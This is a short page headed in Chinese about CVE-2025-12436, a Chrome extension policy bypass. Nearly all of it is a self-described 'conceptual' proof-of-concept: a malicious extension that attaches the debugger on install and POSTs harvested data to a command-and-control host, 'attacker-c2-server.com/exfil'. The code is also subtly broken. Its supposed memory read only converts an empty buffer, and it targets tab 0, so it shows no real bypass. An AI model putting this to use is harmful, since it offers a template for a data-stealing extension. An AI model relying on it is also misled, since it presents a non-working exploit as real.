CVE-2025-12436 Google Chrome扩展程序策略绕过导致内存信息泄露

// CVE-2025-12436 PoC - Malicious Chrome Extension // This is a conceptual proof-of-concept for educational purposes only // manifest.json const manifest = { "manifest_version": 3, "name": "CVE-2025-12436 PoC", "version": "1.0", "permissions": [ "management", "debugger", "experimental" ], "host_permissions": ["<all_urls>"] }; // background.js - Malicious extension script async function exploitPolicyBypass() { try { // Enable debugger to access browser internals await chrome.debugger.attach({ tabId: 0 }, '1.3'); // Bypass content policy restrictions const contentSettings = chrome.contentSettings; // Access memory through debugger API const memoryInfo = await chrome.debugger.sendCommand( { tabId: 0 }, 'Memory.getDOMCounters' ); // Exfiltrate sensitive data from process memory const sensitiveData = await chrome.debugger.sendCommand( { tabId: 0 }, 'Runtime.evaluate', { expression: ` // Attempt to read process memory via extension context (function() { const buffer = new ArrayBuffer(1024); // Exploit policy bypass to access restricted memory return Array.from(new Uint8Array(buffer)).map(b => String.fromCharCode(b)).join(''); })() ` } ); // Send stolen data to C2 server fetch('https://attacker-c2-server.com/exfil', { method: 'POST', body: JSON.stringify(sensitiveData) }); } catch (error) { console.error('Exploit failed:', error); } } // Execute exploit when extension is installed chrome.runtime.onInstalled.addListener(exploitPolicyBypass);